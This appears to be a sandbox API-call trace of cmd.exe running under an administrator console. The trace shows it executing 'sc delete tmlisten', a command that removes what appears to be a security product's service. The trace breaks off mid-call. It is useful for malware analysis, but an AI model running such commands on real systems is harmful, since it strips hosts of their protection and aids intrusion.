_get_osfhandle (_FileHandle=0) returned 0xb8 [0079.354] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.354] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.354] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="sF\n\nanService\ne\n\n\nA\"\n") returned 1 [0079.354] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.354] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.354] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.354] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="t\n\nanService\ne\n\n\nA\"\n") returned 1 [0079.354] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.354] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.354] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.354] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="e\nanService\ne\n\n\nA\"\n") returned 1 [0079.354] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.354] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.354] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.354] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="nanService\ne\n\n\nA\"\n") returned 1 [0079.354] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.354] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.354] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.354] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="\nnService\ne\n\n\nA\"\n") returned 1 [0079.355] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.355] GetFileType (hFile=0xb8) returned 0x3 [0079.355] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.355] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.355] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.355] GetFileType (hFile=0x120) returned 0x3 [0079.355] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.355] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete tmlisten\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete tmlisten\n", lpUsedDefaultChar=0x0) returned 20 [0079.355] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x13, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x13, lpOverlapped=0x0) returned 1 [0079.355] GetProcessHeap () returned 0x240000 [0079.355] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x288630 [0079.355] GetProcessHeap () returned 0x240000 [0079.355] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x288630 | out: hHeap=0x240000) returned 1 [0079.355] GetProcessHeap () returned 0x240000 [0079.355] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0079.355] GetProcessHeap () returned 0x240000 [0079.355] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0079.355] GetProcessHeap () returned 0x240000 [0079.355] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x32) returned 0x256510 [0079.355] GetConsoleOutputCP () returned 0x1b5 [0079.356] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0079.356] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.356] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0079.356] GetProcessHeap () returned 0x240000 [0079.356] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0079.356] GetProcessHeap () returned 0x240000 [0079.356] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x38) returned 0x256550 [0079.356] GetProcessHeap () returned 0x240000 [0079.356] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25ba10 [0079.356] SetErrorMode (uMode=0x0) returned 0x1 [0079.356] SetErrorMode (uMode=0x1) returned 0x0 [0079.356] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25ba20, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0079.356] SetErrorMode (uMode=0x1) returned 0x1 [0079.356] GetProcessHeap () returned 0x240000 [0079.356] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25ba10, Size=0x62) returned 0x25ba10 [0079.356] GetProcessHeap () returned 0x240000 [0079.356] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba10) returned 0x62 [0079.356] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0079.357] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0079.357] GetProcessHeap () returned 0x240000 [0079.357] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0079.357] GetProcessHeap () returned 0x240000 [0079.357] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0079.357] GetProcessHeap () returned 0x240000 [0079.357] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0079.357] GetProcessHeap () returned 0x240000 [0079.357] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0079.357] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0079.357] GetProcessHeap () returned 0x240000 [0079.357] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0079.357] GetProcessHeap () returned 0x240000 [0079.357] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0079.357] GetProcessHeap () returned 0x240000 [0079.357] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0079.357] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0079.357] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0079.357] GetLastError () returned 0x2 [0079.357] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0079.358] GetLastError () returned 0x2 [0079.358] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0079.358] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0079.358] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0079.358] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0079.358] GetLastError () returned 0x2 [0079.358] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0079.358] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0079.358] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0079.358] GetProcessHeap () returned 0x240000 [0079.358] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0079.358] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0079.358] GetProcessHeap () returned 0x240000 [0079.358] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0x9e) returned 0x259180 [0079.358] GetProcessHeap () returned 0x240000 [0079.359] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0x9e [0079.359] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete tmlisten") returned 1 [0079.359] GetProcessHeap () returned 0x240000 [0079.359] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0079.359] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0079.359] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0079.359] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0079.359] GetProcessHeap () returned 0x240000 [0079.359] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0079.359] GetProcessHeap () returned 0x240000 [0079.359] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0079.359] GetProcessHeap () returned 0x240000 [0079.359] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0079.359] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete tmlisten", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete tmlisten", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete tmlisten", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0x8ec, dwThreadId=0x924)) returned 1 [0079.363] CloseHandle (hObject=0x50) returned 1 [0079.363] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0079.363] GetProcessHeap () returned 0x240000 [0079.363] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0079.363] GetEnvironmentStringsW () returned 0x261b10* [0079.363] GetProcessHeap () returned 0x240000 [0079.363] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0079.363] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0079.363] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0079.363] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdb000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0079.363] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0079.411] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0079.411] CloseHandle (hObject=0x54) returned 1 [0079.411] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0079.411] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0079.411] GetProcessHeap () returned 0x240000 [0079.411] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0079.411] GetEnvironmentStringsW () returned 0x261b10* [0079.411] GetProcessHeap () returned 0x240000 [0079.411] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0079.411] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0079.411] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0079.412] GetProcessHeap () returned 0x240000 [0079.412] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0079.412] GetEnvironmentStringsW () returned 0x261b10* [0079.412] GetProcessHeap () returned 0x240000 [0079.412] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0079.412] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0079.412] GetProcessHeap () returned 0x240000 [0079.412] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0079.412] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0079.412] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0079.412] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.412] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0079.413] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.413] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0079.413] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.413] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0079.413] GetConsoleOutputCP () returned 0x1b5 [0079.413] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0079.413] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.413] GetProcessHeap () returned 0x240000 [0079.413] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0079.413] GetProcessHeap () returned 0x240000 [0079.413] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0079.413] GetProcessHeap () returned 0x240000 [0079.413] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0079.413] GetProcessHeap () returned 0x240000 [0079.413] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0079.413] GetProcessHeap () returned 0x240000 [0079.413] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256550 | out: hHeap=0x240000) returned 1 [0079.414] GetProcessHeap () returned 0x240000 [0079.414] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0079.414] GetProcessHeap () returned 0x240000 [0079.414] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0079.414] GetProcessHeap () returned 0x240000 [0079.414] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0079.414] GetProcessHeap () returned 0x240000 [0079.414] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0079.414] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0079.414] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.414] GetFileType (hFile=0x120) returned 0x3 [0079.414] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.414] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0079.414] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0079.414] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0079.414] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0079.414] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0079.414] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0079.414] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.414] GetFileType (hFile=0x120) returned 0x3 [0079.414] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.414] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0079.415] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0079.415] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.415] GetFileType (hFile=0xb8) returned 0x3 [0079.415] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.415] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.415] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.415] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0079.415] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.415] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.415] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.415] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0079.415] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.415] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.415] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.415] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0079.415] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.415] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.415] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.416] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0079.416] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.416] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.416] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.416] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0079.416] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.416] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.416] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.416] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0079.416] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.416] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.416] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.416] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0079.416] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.416] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.416] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.416] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0079.416] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.416] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.416] ReadFile (in: hFile=0xb8, 